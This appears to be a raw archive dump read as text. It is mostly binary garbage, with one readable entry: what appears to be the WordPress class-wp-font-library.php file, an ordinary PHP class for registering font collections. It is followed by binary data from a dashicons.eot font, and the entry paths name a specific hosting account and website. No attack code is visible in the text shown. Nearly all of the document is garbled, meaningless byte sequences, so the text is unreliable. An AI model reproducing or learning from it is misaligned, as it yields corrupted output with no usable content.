P2z?ըY]No2f[~W}]H+ԉ"݁HKbکG8~9D%3hyI6JR``]m͎4ϼ#GBtVZxg1c@7~b£`[vG~6:Vސ7EIWC@$c"d5E ނdD!\In hGt۽AAY ι!<=1dn+jWVWN&l72- ;@u|WGLڜ1G|N䙐8-rvKV_2:cxg1# th\Dl6g(RЄ ގro66c0Nok_j7bǚv{4>𘖲%X1+bPBkRNƎlM, PK@{(Q_ Mn\'b9X~"'Q;PG _u;z,T֛Pԑz,\[xY :)typFK*d 7"jgKn B5&LUs"j?T֑.yW.`SEu'RŬb[JT)dH<)<]҃1 7'4`1U%;=2g{2[9ΉT4ag0]=XpBYPC7H)F݊z [(e9EYΑqI D#k7_+/T{{~;c@n"ڰZhcW0j`(2JR*TAD@y*S o; Ù'3'%/見dD"Y#[lY1d}*+JUwXIKH'd"{ G@51<2B\uI\F LZATB3?Zd~Ӛߠna #ah̷ຒ~&wchCI;fA{^5YS;8?ۑ-oA<NU=Z LCoU˝mnx{iX,ߡ"1Nx.G +);Z_YJS{ xiyUg,ap *d낲:jX׵n#z/+1=鷭nJ{EK 7BD "b`(З'& `/IT4SŠ!*Ce# Ĩޣm iBV𚁘b*xbC]S*ۂe2r$R)aO+YvgXi `L^j&=X[yS.<%.MG!s-V8͆RCпŕ5YC0J7|SJdRk״Qm e?Q=erƘƟh8o~." $f\/d^4;mhKXZCd8ݚ;'rµC4"+4e&@LuxTM5Ckgg%V<`Fh=24 A-"6>s^Q xpGi{BH^ɇ ӐPh,dű#GGGR4zdl(^Lr@hx!R&vu'K"#7TsJ4 #,+͆7)pVzcY3)B|WQ)VxD_F*kTw/~*LW@v&fRFj߁O}We wQS ֳt@Gۣ{-5l\Bb2D(PY3)C/o"h\D]583rhr319yOvK#Ó1}Rq)Loλzvˤ ߜ̱ &wP'nsB_ڟ3|zG! J@]^GLf?9kF|ry47-DͲd2ejFFT_a^`G˥|߱ PGٌETfx>x`3d ߯ fJ}nýɞNv_4! HjxI^E}2=-w{zI %SMVL)X%7w{(w%zM; O39gbhD[sk4Iz]0M] jMc9a-雅R0 kZ8VG4;{vS74`vERf;h~!R xU,E5pWIj0dYA8ᐢٺK K#axBAU^x/ֹK f hNm5YGde9I"6.=MP]z!\ltNOU) B;=|uʳSmpIRJ钭RJ[Uwi|zqi[=.6k$+t L=X~g3t mnTv \Rϱ=L>zaȺ:d9NTL bq&\qrjL&f{opQqR3b zQ`*G~Q} ^կjh 9هN'3l Wķu*J^A*{>IP.ҹ4g[|z QȹS\Nq>ãمFf=7j0}#ZD5B]P@TY +@o+փVZzP-XƮ31Ez4 /TESTmN A28ށȟ1j ^J*H"ݾÅ#tŠ18gٟp5&nv~Ɍ)k]nqW<*qU)17od`9Vaڕb奵ޗ,>MKB. 5΃L,-v}l^g=.҃H\yJ8*4I"FLaU=fE3pQl!6Y ^!jQxE,Uۘuu^Z ޺\JUfc7 ڶzp\Ϯ+Hm})7 P=+XgI{;mm'/o]V[yvO;BlιQ?+l%5_#5#օل<'c4O<2]H-6]jʌ>Ir*F pE_ٸ䬬h8ӷ/^\u-XW%Bߚ+ժV:n5b ^0\G[nRB^Xa+e%\I;ck)-[2_:lZ\_ [RT*I?۲eUzLɌt9x=>+7$IZ@dÒpTHNؚ?c M7PI qm J+wC,.9dۉ9 nJA, nx@oG;xnu9_J~.^N>'1KsfJ_\#pU NE&]Z;]ʳWܒRH+(sT-Hx.B}ԦMpxZ-^t36TYy`ɘ2/< y@ ?]D4z)~F i243+ڹB"aYl@Xb}:qF-2q-9io-iM?)YÝ6~>UTl(䆡A!CMԣ=t.3-C+F0dA LmjNoꗛGcffPƸ(fsl"yiC({O1#>C(K!*>StIBA{d4UUw c9v G!@ 662V"C\\tJjP7=A_˚_x8t81|O25]Q )"Q]i{՚{nyo~ӯlH,C9Mw)yG AӧS*Ag.dT`%7lT f1gsB4k~BO뿑*%"~ Rj{E6 fQGqZS0^iGW^2`q(v rVxO?Xc⥃E\ujs Ɂ˭n)a%yQk h?׮o]F7.,?ȿC:Ni z1Rce[]87?2`y2[] h)e[Ti<Һ(y,/'4]rH~IL$z6п]S3݁G!siu/jE*?(բw6p 6e1iłgըRQ$-r u-{gСmd7jۘB23"%*n(&KexMDɖ6Vze72 ڱ76um2+N͞T$4AC'`>Y_< Gޘxܢm"Bz$<1jN_Psz1]eg>Kd/1 b1%n!-̢\x]Ĥ2 ")e]>SƺfW,uC!ͫdoj8U^K w!xR*g>#|l"sϋK{T$61100LLLx>#ZЉ{H4觪}_\\w[nm"\1E>\OVVљbm1H«h"Yx3]YEfCu.$ uF5/pzfJ_pC7x:[w a+w 'Ԝ}~ĀsK,1IpP$PdAިyF ƆtAAT脨b]\^T m ,C*naȯ (N<]s 6F@_`(H6RnT5K\rbx Px>$.;NZuFQl C9͵l@=џE_?".q4CSÖ!GbwہzJWJ4иvt:MIEx=g˕ 'OpÿȚ)E=,xd#&}-Y?"&{.M %)%fX8s$xǧo?WٶyMJ7((޵tNqɃ.B4E F?7JT%HtqkSN3 y+S7g*Ykk+*R P,aZ-?xKD/ 89Pϼ(W;Z7eS&uzoʇ:?.w|; >t/U6[Wƥv.' խFg/w!> oZuu=<ܢmRNRqe{>#[i%Q MIw[>[UlU-~j1Փʙ,xUoL$hg=vfuX`p{[M;VL-ϧH7Wm۰4rt5j̻բlԛ36.ׂ.e+sy_ tM9A((pٵKܿrLG?{t]] \}迵쾵GOnrF;c7H]qwmm -Kʢk-g&߱ݷOZXݱ!շu};>c5YJ6= &roy/ >} Q( mÇI[p`Q9pq(y}34Ugq EbKi\|yDEl6%5~(5'ГR,@#Twz8]EϽ,Rj9dnc_wltx:ҘwiQ_\V)Ex_BN&sg 0^p2=†&EF  ئ3L[r.vH7{ʼn Yif*$ăw^}30*YYYΎwzz%èkJv%KrNW("8N> RpzB(VSbyҁR)Hn&W,+oJEܿI C?dNh7|-e=UۼZf=qrJ7/ ej; YƚLdBFcK6XqenJ9~4_04mX&ckE%׉C9>/z Ea= ˥ |ҷ WCz ) 3pD qL$X#ΡKx2&.GK~)[J^ittVٯ0]jtQvion%n>C`~DnIZ(nFV@$EVAsW 8d [16]0iր#m6խ8Bdr1!{J%g:Di"S-BX~8e1H 7ĀS(LD] aK8f@,y>aeR}xwavvԇep}x]8 7HݷNiq,Wb)e<{{+;|RazY p:eS\'ǛTL(i%UZ^nӐ#fO0bݶl+N܁zDߘAÑHx`c^C 1izcIoP3-m睼4}FGQv{6f 8nW[:tP*>sV7[Mg_ƍU6?7&-4f.7Lh7vr0^ .sSKd(=4a3,aȩׂJD)Fh-')/_5q4'sD}J'-A뉇RأfJJR v.?}i>`Hgc Fo<@ҙGWI?7BH߃~C}EnBśJZ(P5$)zFT,5 T|+fvt9#Ӈz·RU9iq3zs^qMU 77F?Zwe/R@cJ :q) sQ; l{XK~}oD]nlŝK~:5|\Q Z墤@+6&II PD; !k߿d&Tyn񷙱x'UT4OE3[#?jxWEQ?WJ?(Mz`/BzXz>o/ûb]wlveK*M@WHb[ۺVqWYC1bM.4=ڰy7-N+x\G8ʩBOO!]"k&FpO drŰֲU=aW\TO]';.׷l w0;Z:p{8\-cesc鯻I8]r)O!&4gŔB{8f ZRxxDpLA]5TR d +@LYV}n"̎p["yp%D]F ]-# 'QJ]x8ّQ,6˹YNVFJIJ|l˒*ACC$?gnB-E3hqXA}^:;KApZ:F 0>*PA2JLO:k~B \I䠗`nԪ˵ZuTk8qYcp0^]ѶcJKI[#r1JkdE:?GXuda:b3Aq< B\*^TԝZ7à5f~ . E(X rnN[i%k ʿиz~例Ǩi\>VO"z7-sW\zk|zi<.l=|}42Qg pwӽޑ}߇TQɥCX%?rО-p:|ͭc޻io9m@.tBb\zWI (fmDi|ӦS]ѝ {n/OЕTb53TeГ{L"_a]qV܀^9XIP0ԝ[#kQqOa(גR>Y #2Ӊߍ/@;-Ld"W)VyQI |Gj Qsp-j JY7l`KT4_SV+<Rcũ2rѥ|4K++s>n] 3A ?Wo&:xN[PlI3AblizBMZͥW嶫+"DߎGm{Yw`afG:Mb"]Ŵ,1ww(;K"r:,[2-{6Diq Zlٻ9ټwKQw_^K-RSuoNqi-}V=vVAS%lKx ʭnqMFA_yTd3Y2:D7#}jQtj 8jP}m$-t[" ^;%roF6t3n a3_۶ mT72\}Ջ]f6܋_t~n7N? @"5$/p\&VEY*z,.Z˫fK8KY~=++<8b~azpJ$&kz_K #b; 4o.®)kj5l5 򋪦~ׯ+JW V2]߁CR#h҂'FzZ<?ZcafA {`>LTpWWqu`7UJ'ٮ|><;zB&c=,ZyqRfsӤҚ |_tn9Msj&tQZĴqg.>Wrl=pl'ȗMfP_]wAu٢턭{[|K.n>ӶMA[fJnekf$k>~D/D}F's[Pd㨌[Ţ&trZNWۇB0&+TP)itytUw݉EG;c-~k෮04E8bH%GO{%cD"I5Pe4#|4(G^!Q $z"ֺ}lf+o@87,8VƁ]mxj} .A+.KlYBl8=v+K&O; R][D}l3-M WeBqx[LmZsk5_m&*{ >`2mjf gׯk~-Y y諅ϮQ2%vF|>fZæ6xfΡ ۩\]Hx,|p?EET$ 1]+g͘J1SVB Nlذ)ⅺ>ѥrf+*Zo+~9${m>УM/xdPQذyC  uu8=j./ef2CT1_LI"{s{\OoOk[MK.0ilphy>g% W[VNcB=?7l^|h3 0EKPšx<u /,.6yw?YHk޸-EsZeuk-d^h-2تfםpZwJ,q}p4yX'*Arߟ;v?/ wNY{Ŧ+/~߼t(-dyO:LuCBĥUӵěNl_c1Iٷl5䖵le.YbOnxѡ_5awG{n:mCizJP?'GGbۍl/6hh)' |7C}=No8dbcJ}v{&ݶ!KݱYXo֬?fnP)c'/27dlw2y$DSJTHҋi؎gQ]FU?QY)GGU`5 h+Eg5b><8 q n֑ò~,Jԗi"3tGz{= V+ko40@Eu3x-{jR[*9ZUNa*-TiZ/c+/ QshgTw8cGݤ__o-IPC QڄE_}]gz }86>q| \lڣͨE .``W87=[gLxdۯ7DZt ƭgq2qf[Y. QFi>>pNEA] d3X,au& K*qY6#rZ{ߌωx<1` 52|G'm۷/=ޮ`,@N%j6P'a}YEgіYll#Y|#gi ќE;(ǖoa#F,"y 5EU*=}O9S&AB>aPΊ +(кwLO*Y]|_rO^Eu[*v63(`%*-oɴ6vt==hSEMkيWZɂvyN :NV I*36z+<ÙX:=xͰ$qK9+DŽUZޔd@:굻D4ԣr4Uh$3hPSaZ2*9d +zY\Vl1߸EYWjF\7./ժs:EBJp&B-oQRIL?>YM+{n!XyqjhPrj&gzV~>|2sT k^f^2Bjꪌed 5cl ,E4jNfK+n4]'5DPʩ:E`.Ӹ ><١nj(tPD-o˘ [A[\D)syVB4=].]85Z;.e{ ݵr}y݃Z, ^XJFa[EݶkTjr!S?(w:] AymP^YpviP<rYQLgCXH[ AO Ig FWP"hGB{D[TEKRñp8qef[YYVY_P߶^g|AʝU޳ݰ o/3K/7\,vJPb22Gdϖ:fre0jb?.<]\)/_vn3J%n;n'_|毆fB<582FݶJ%Xb28N7J{!ݳwn<ܱC?rW/p4J=PTo3{ݹ`*5lG|S,~~_WSpz+8l͆4 ĶmZ ӗO_'@rvJ[ drրկfFݚ7DK9fJi Ji%z4;]~rpo)(wؠ*߯ &-9Ut}p:##ǽM=b lGoOe}h]l7N+ٶf~O9LPeR=b~z2Gcz8OÅB8r謑 Ɇ{I!U}eӱLzLy叴T=Qjur:}RBKU4_%qw4'2uFʞCԭzhp!P㲻mZ2ˀa:@na7=Rw:϶Zw 팝 ;=ǣl׻ŁeB QB]r[۾47BKJ%NDL$M#7dub"ˢCij6x"0;47gR%40C(3uQ1[h Eaehf;z}鎄Z0+ARaHеp}C#XTl\KEEK^ﯡ69W Y(4ţ:%%,.tӑMkei[Ä%EVi#sݻRo?0 jPf1kߕ*/( d% +_nS{΄?uw+-&Y_Km9MWi[NmJ,K($pM_IwIKvyVwpݢ[vͺ4(z_sA8b/y *RúΡ?E.O#ʯTw}?K+ /'lZdQHKR|*`W8rwÍGʟNR/)V]y|g1m 7_~j%:67p7,FN8eE m~, K _L 5_^$c|WyI3N?-H饥_VjL/K53u\=vw:Ϳ-6渽{˭17SGtnf{2]b{:n'kE/N^Y槂J|JK쏹ܼԸ㒗E :]eHlg tq,Wo3g\&C0Lali6cLiB?0s?Q4cf*WVɢA57Sh=V/z +tB|uJeNp6;UH/9As=ĝѰ;SZɸLP"ٯ+%?HUA* -ؓi`c e(;utJbswq"y3d9gpEJ~g1)+jʒ/KQOc*Qe!+dϒ t cu)}zX_ÖX+eOO }?O yL*#zC.O@>#5U7js0V @͐kțqa ڲ˸+A˅[X5;ZrRPлԚ0N{@`ʠ˺SI#.BeO ų[}'Y4%=*UTB#d#N:"Ȣz_8h0!S@# ʴoIxáՌ7:]wvCA/JIΥ-]&5ί< |WE$ ڀL_µ [ifkb)ي}tZIPYh%ɠ;QQ  :Toc~G3p#=wvvXI. &Ǔ +K˅i)WKd%;lW0iEbE*T^od{Yhai2j>dm^qe|, Bnfť]8MmC>>u ԖͼX:2Re^W-іc %]l A[*;}Á{Oqt߱ۺ.:y7u}{x,:֓vߣ?ijY(c8#mHCc[F==՛bGj5ޓjLZYEsʖ~'/iE4\3!z?R_r\8ۖh /0oL[f;ԯqk|72^E 9@dM>_dk RNs 3 M:&uͼ0=_3ՠu>|;\)Uu5;?XWTDN܉{)_qKj8WJjoЪh\]G.-'zag7##3BnOBtApkw<&?yCDEUcoW8V̤GǝM=$=C͛?]"{}dI~mX=x½Flk{/][&i{BC9yw7g;d( u.h2 g'i*D ;Qv:|wB/#u9\J'1efNjъOL Ά 9Ulꘙto]?`dx-뾱b|MekNO;)?, psoin1DZ'0nkC˝cwyTW!+v¥EJpܰ,I_o/w1M7|Cgx9t * 2O-J$u7? YܒVKN-+_ZBR2jUֺkqUէA?*zoҿ{3 Y)+0U3dazC/{K=ϴ>/ߧqnf2 rU J}Lx5S!`$'&O?6-Eɞwkn}_t?q}~DX,A0 dxSCq9ukjk Nfm Zu>6nAzOy-7LxB49Ofι[i+spa׸0P>;Þ'R8y HsbH k9 =]|z ,(ĜaH:K6D8o~~EwZϗѻypBU>Tc  h4Fԡ]mJM ^yZa~tQDB'qzSF):CYzs,}tO'Si* j,} ?L?BDLBJFNAI_@Qc~$)"iA!3 ,(9/ށ~~2OOߠI?G6<% _n+?L~~~)#FKWƾ|?EWz^?M >?_e4\/$T+M `BH -Ą]B#$BF BN O  0$ #¨0& PJBYMfaU&lvNapp[# A* w G=$0y̙ɳg&M91esg.O:0|3:i3'|)gg<6 :93i6gfg83ܹǚ8;9ݺqv̙֍ffLϷ.[C ]u3[ ss,NΜ;;;yfJ=~rvf :COΜ\8Sfܙ)cx+q}nfԂ#X|nJ<=33O/̜W&ϝ85ùssO{ /quILeInby{ǵ??w΋P3'(yI@?+81wrjh~a3}bV";;9.Ο>3C,Q7]"оb#N€\{f j~jr!ؾ ߋi~3Ԏ|0 uF;1ԹӀ~ON.LqپzܹM'fT[WɩǠ('gOϫ8r.'?d) a{&Z±s|n^ռ`f; 9N7c"[?55{ugI]}uܹ y(|ytt,85uF ]h':xta۾j}d٪@ԦM=lG!Xzja} v<~~nan^f^tzћV^ `B^b<6p 0ggZ*֭Pkp(<dbNg{NOC jSO<rfN&n9{jna amFSO:wvu[q꩙rܾ\i M F3<=9;;usl,.X 4 [X%78ϟ875hcˁq4 yyznnzv;}n$+Q|jsʩI9 ={jyYބ 3'},C'͝ y|ѹr`Oy`l~@p2ӜhkqN 9SAI ?C5Ȝ޼8|JW^8-9- H NO'% ,=bτyyg\ђuօ| ȧ'AK8qv #Nj>܉ȑ "A#L5c<9jjj-r$Xo񞞚ܚ _:+bwz[VNL,x~{f}D^P&W H>3:ʙ9m,`s 5g'#=Y 5`w¼ReŜ)!qVYk`fgb8i ׬gx[qC9xًd @s\ypjf^9{%'&O<=7wy/ ' ^gAӜbsn~^b<:9y~vJq,vyy~ ;$vh\bAeMAx2C":jI: 1OxsHW|P0 V.< )OMdFv?pjk6odX#>k|uDB#|׽w"<ЃT]i P3f&gؓ9;©3 ?aa`fX\ҀeR)yI Ei$5? e>qknL?{rZ2M. ^CY3CkA3gfKWo;C',bnGP+bȖPV$&Ybp\9AVr4L$ħ Wz z<|ڠ ?SPK[x3class-wp-font-library.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/class-wp-font-library.php000064400000006653150547072610023156 0ustar00is_collection_registered( $new_collection->slug ) ) { $error_message = sprintf( /* translators: %s: Font collection slug. */ __( 'Font collection with slug: "%s" is already registered.' ), $new_collection->slug ); _doing_it_wrong( __METHOD__, $error_message, '6.5.0' ); return new WP_Error( 'font_collection_registration_error', $error_message ); } $this->collections[ $new_collection->slug ] = $new_collection; return $new_collection; } /** * Unregisters a previously registered font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection was unregistered successfully and false otherwise. */ public function unregister_font_collection( string $slug ) { if ( ! $this->is_collection_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Font collection slug. */ sprintf( __( 'Font collection "%s" not found.' ), $slug ), '6.5.0' ); return false; } unset( $this->collections[ $slug ] ); return true; } /** * Checks if a font collection is registered. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection is registered and false otherwise. */ private function is_collection_registered( string $slug ) { return array_key_exists( $slug, $this->collections ); } /** * Gets all the font collections available. * * @since 6.5.0 * * @return array List of font collections. */ public function get_font_collections() { return $this->collections; } /** * Gets a font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return WP_Font_Collection|null Font collection object, or null if the font collection doesn't exist. */ public function get_font_collection( string $slug ) { if ( $this->is_collection_registered( $slug ) ) { return $this->collections[ $slug ]; } return null; } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Font_Library The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } PK[+wdashicons.eot.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/dashicons.eot000064400000156364150547063230020775 0ustar00HLPdashiconsRegularVersion 1.0dashicons 0GSUB8BOS/2@O%|Vcmap_>$glyfqdE@headf6hhea7H$hmtxPlocalAmaxpo name+_"post#2\,. T_< 66 T  ,DFLTliga fG fPfEd@G.,, <  )9@B )9IIWY`iy )18CG 0@B 0@HPY`bp 03@E<vx"""0BTfnt  4 >JKHILGO. KQ5EF\GW*ZX]g$'.-JR $%p&'() 2M34H[i: OYEAjklmnr6 TRt"#7MSPywvx~}hBCDSQ98 L/0q@P1+N5s76D%&+,()"#:<A@8;=B>??uV*o-z{9/,!U<3{|;INC!bcd^_efa`2=1F  0 V     4 >JKHILG O!!.""##$$ %%&&''(())K**Q++5,,--..E//F0011\2233G44556677W8899*::Z;;X<<]==g>>??@@$AA'BB.CC-DDEEJFFGGRHHIIJJKKLLMMNNOO PPQQ$RR%SSpTTUUVVWWXXYYZZ&[['\\(]])^^ __``aabbccddeeffgghhiijj2kkMll3mm4nnHoo[ppiqq:rr ssttOuuvvYwwExxAyyzzj{{k||l}}m~~nr6 TRt"#7MSPywvx ~ }!!""##$$%%&&h''(())0011223344B55C66D7788S99Q@@BB98 L /0q@P !!1""##+$$N%%&&5''s(())00711622334455667788D99@@%AA&BB+CC,DD(EE)FF"GG#HHIIHH:II<PPAQQ@RR8SS;TT=UUBVV>WW?YY``bbcc?ddueeffgghhiiVppqq*rross-ttzuu{vvww9xx/yy,!U<3{|;I NC!bcd^_ e!!f""a##`$$2%%&&''((=))100113344F556677 88@@AA BB0CCEEFFGGPp0TNnR@">Rx  . @ L ` p | V j  d  @ff lp,&H `v0P<nBt6NfvB"b,d&Rx8f  P t ! !B!"L"""#D###$j$%%,%j%%&h&&''>'~''(P((()).)b)))*D*l**+B++,>,z,--2---.p.../L//0L001 141\1112B22233Z334`44455N556"6d667$7H7^778:8r89969P9j9999:n:; ;~;<<<2<<=N=> >>?(?f???@@r@AA@AABBDBBCCZCCCCD4DDE EDEEEFFTFfFG(GPGhGGH H@HpHHI&IZIIIJJNJJJKK8KLLM@MtMMNN4NNO OZOOPPBPdPPQ Q.Q`QQRRRvRSbST2TXTjT /%'767'7676?676227s& 9 ".   #!  &  .   $    2".4>57\66\n\67\i6\n\66\m]6b32+5#"&=4633 3656'&'&"17>767676676767676  $,$/ 3 #T  ,  -(  #  0%,$    "# '0%#'#5&''7&'#5367'7675373264&"8(6(M(6(77(6'M(6'8 --@--'6(77(6(L(6(88'6(s-@--@- ''753!55#'f4f&'f3("8'764&"&6?>764&67.6?>2'9j .j'99Չ j'89+(8j!-99'j. j9'ډ3j9'+99'j.!*6%54&+'##"3!26'2"&463"&46325#53"&4632M +"f"+   %%5&&̀%5&&Mf3%5&& 33 &5%%5&'%%5&Y%%5&   %)-''7'575#''7''7%#5%#55#!5#mmmgeffL4mmmmfff̀444P``pp;WXZZ4++g__pp__pp3YZZYYZZ@3333'#'7&67>264&"N$0M&M BB'BA U_3%Qz 7!3!33M3M#'767+"&4?547676PS0S d   SSS0S4   c"ZSS!7&'&7676?'76?> //1 .>H H>/1./ 1.>H G>/ 1+G%4&#!"3!26%32+"&=#"&46;5462#"&46;546232+"&5  M             f4  &&Y&& 3T\"2>4..'67&"&'&&7676'32267&'&765&'&'.'&'&676767667>j>>j}j>>j ,   %!  5/   ! I >j}j>>j}j> 3      9!     6* $,'Bl   (0<k"2>4.67#&'&'.'67>76'267&7&'&/..'&'&'&'&&'&6'&'>>j>>j}j>>j       ' W F2  "   #  Ob0>j}j>>j}j>           $  %  .;5 #(.39@ELRX]ci"2>4.3#&75#5'#676#67#6733#&&'&'53=373#675&'3'#&''#63&'673>j>>j}j>>jA7& ]#G&] &A7]R [&iF&\ &A8 8&. 0  - - 1 - 0>j}j>>j}j>#"!P% #"#ErP %cE#"E$!"FE"CO% ON %rE#"E$!""$""!$g$+A$+#,B#* :H"2>4.6'&'&'&'&'>7&'&'>7'.'&7&7&'&'&'&'>j>>j}j>>jh  =.fA    3O" 6   >j}j>>j}j>L,"  # ) >O  P#.&Z+   '"&4?&>7264&"F 6& 2AJHJ &5 E2 JIJ@)"'&'&/&76272"'&/54>3 M F6 #"0S0""5  & &  B/"6@  @5!;&'764'&'764&"'&'7'7>/764&"'764&"'7676Y> .    :Z P.@    a b    >.P Z: "   1 =W ';O5!57>'.5!#'&'5>>.'.>767>'.>767>><4ELc2X 7 -S  R3 (!  A 6- 3Tl41C f  ` 7  a    7    !5!5!!5!Mf33f3f3%!!5!3f3 !5!5#%35#35#!5!MfMMMMf3g333 !5!5!!5!Mff3f3 7#735#35#͙f4̴33 %#'#3#34f4343 !5!35#5##35#!5!MfMMfMMf3333 !5!5!!5!333f3"P[%#"'&326764&7&76327>'672?6'&'54'.#3265>"7#"&54ISo\*h8-U%+' ( "#%, *+(Z  6%'  #  %4  M  #  ' #|  +!%%!!5!3"&46527#53#53#53!5!fg4M-@--:gggggg43fMMM --@-33g4gg !5!!%5#4f44M37'74f33fffg7'3f4'gf3!'7ff4f33fg'7f3Mg%'7Mge75!'7'733ff4f33fg?'73gg͙fge%#'7'4f33f33ffg%''73M?gfM3gM!-767676&'&7>76>76'&   /2o\ <%&@%) $(      A6:3:51*3/S!'-7?'7/'"&462'"&462'73%7'#r4;;43 ;; [*<.'>&5717'7&]2:3\m1$2 * (%TF'-KTF0 .\m>Ms\mc::$2-KTF'-&O2: {{R6 !53'33'33'!5!f@3@3@fg33(5BOk&'&'&'&''&"2?&'&%762'&4&4?62&4?62"7"&4?627.&'&"33264a!  % @ n % 3 Jn n *n nn nm ( $  $$ @ %% o 94 Ps q n* n nFq om * &  %!%265#754&'>7."!5.f{*""+33;#7    7%8' @@&5##5##"!54&#MfM f f4444 7!!"&5463!!"74&"26M -- M >  M3-4-Y3!"&546;#"3!3 --  g-4-9B354636332+"&=#"&=#"&="'"&=#546;5264&"3/ 3 - 3 3/M*  84  44  48  g - $5Bu7656&6&#"3276"2>4."&'.'&4>276&#"3>"767216327>&#"4?672632#"'&'32>4.s] -7_77_n_77_7(G4XhX44X- [&E  !8#,-2/N//Na*7%#}  ,+7_n_77_n_7s5hX44XhX4} ,$  v>{+" , /N^N/ &3<L_2".4>"2>4.2".4>">54&"264&34'&'&'!6'&'&'&'FuEEuuEEuFBpAAppAApB;d;;dvd;;di'!,\,,>,,N    666%  EuuEEuuE AppAAppA;dvd;;dvd;, 1 (,,>,,>,   655$ )Ok4'2674'2654&"26754&"264&'"&=#"&=276767>27>76767".= g ggf1(  (1* " *( * ! 0RbR0     Y  Y  Y  Y /?LL?/8    -o  M//M   #/G#"&46;&546;232!2#!"&46!2#!"&4632++"&547#"&46Z))4  $  >   M  ML-=AEIM4'&/2674'&/2654&+";26754&+";26'7?7?   -   - 3  3  3  3 33333333l    333343/'#'&'&6765.>27&'>7656" 3DC6 #)3- ,>- .5 )`J##K !? a;D;##;D;b@! 2!767676'7'7''70S* f$&__ : 3_X @ KG !n tGI hjNW`n{%"/'&'&'&5"&4?67&547>7#"&4635462354622+>7'264&"7"264&;264'&+"4&+";263264&+"3264&+"-?     ?-#!&  4  ' "" W ED L LYLL@- &  % -@ /: ":*   *:" :/d3  @ ;  3   -=&"2?>&"2?64"/"&4?624'&/;2  =   k  k.     "  =  k  k.   )"'&'7.'76767&327'267'#"'t+&T&+s9&?3 /1v3(#&@@&'R$$K$1 J ~,.- #'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mff33g44f3333g44f3333g44f3333g44f33ff3333M33333444443333333333333%.%54'&'&'&#'57'"32767"2>&  )+  !/2F>$' %4% 'O@ ,!MM!,  @{:N00P8''';676?4'&'&'7'"2>&R88/+''+))))$' %4% 'M$$M %>>%)):N00P8GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7\\: ".))." %   % j g;;;6^\89HH6E !   '' ,!"3!26=4&#!"&=463!2f  f    !*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!      M   n!   f \W\W  Z  8WW +/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53MfMf    ff3f44g33f44g3344f33@@@@z4444433333333333+/37;3!3546235462#26=4&"26=4&"5!75#35#35#MfM f     ff343g@@@@32#!"&546;73264&"K  j  KMf3*<"264&@  \).@"'8 %2$R$2%  B#! d"36&!%%%%#$  MO7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM      $#   !+$ $,( '%("35 !     9     - -( 'H;A"+732#!"&5#"&46;2!#2"&4632"&46  3  M Lf     3g     !!3#3Mf4MM4&/8%>54&"&"'654&"2"&462"&462"&46 * j 6* L   3; '  M %####5#g3f3g3f 1!7&54626327&546327"&='#"' ~l % \ 1U ) R     52'3".4>1R0ʹ1RaS00S0R10S00SaR1-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71# $~  S$  $B  ~ $2".4>2>4."7/18^77^p^77^8*F**FTF**FsM7^p^77^p^7*FTF**FTF*6R{{  654&#"&#"3!264&'77{<*1  &#,5$%5/R$.a$ *= % 2"$66F4Q$.b$!654&#"&#";5#7#3264&{<*1  &#,5$ZMssLY%5/ *= % 2"$6MssM6F44654&#"&#"3!264&}<*1 &#,5$%5-*=% 2"$66G3$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&      . .$'S d,    +<76?'5/.   , \./5 ,   \73#3#M͙%7'3]]]]55]]4]]733#MfMMf44 5!5557!'73gg3ggMM&3ML3M&3ML3 7''#37333=\\\{{3{{ 7553#5͚33]4]]{{{{37'#3ggMff&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33ggE       '       Mff #^#   #6'  (   *  8<!2#!&546!%47676763#!"&=27676762!!8  p     $ 4  ) g   g    3 (09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7 [  V*g > ufB#8^77^8#B4u+7M 0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<=7#".52>=#"'3.'.53264&"7##5#1R0W\1R00RbR00R.1R00RbR0!, \A[0R+<=#"".52>='3.'.53264&"7533'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+<=#"'3.'.5".52>=f+<=#"".52>='3.'.53264&"'7'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+< .?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00RfM  MfM MgMM!$!2+32!546;5#"&5465!73Mf  3  3 X 4  4  紴f 2".4>'7''78^77^p^77^MM3MM3MM3MM7^p^77^p^7MM3MM3MM3MM35!353'35g34MM͚40&'.767676?>327&67626&  JA)   7* !@$7    @ 377/7676!"!$T  $ !!"!$+T  $ #!5#'.#3576&?f3d! g@q)3C!͚f @q) ?677'dE ͏=gE P 5#5!5#5!f33f33g33f33 5#5!5#5!3ff33f33g33f33 5#5!5#5!f33f33g33f3332654&'5>54&#532#32+t5=;C#')8+3-!&',)J'8*3!'733怀MgfM '77'7ffMfffff4ff47'7#7!75#35'!'3:: f `f` f :: f `` fS`` g 99 g `f` g 99 g$235#67654&"#35&'&'&54613*^%UT%] 3v751#33"'/DOPC/'!33 !157 3#3'735'75!#7'g8aga8";aga;3ffa9Gf9aG!_9ff9_ %.4."2>'#5467>4&#"'632&462"0RbR00RbR0(   !%%&1R00RbR00R   ! O "53753355#%53535335353Mff3ff3泳fM33M3ZY3333M44L33M33 5!5#35#35#5!MMfMMMffg444444ff #3#737#73z6H66H6f334 !!!!!!!!3ffff3334333 #'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#54fM33433f4fM334̀33͚ffM4444444444ͳ33333333L444444!$#";2654622653264&7M 55  5?5  3   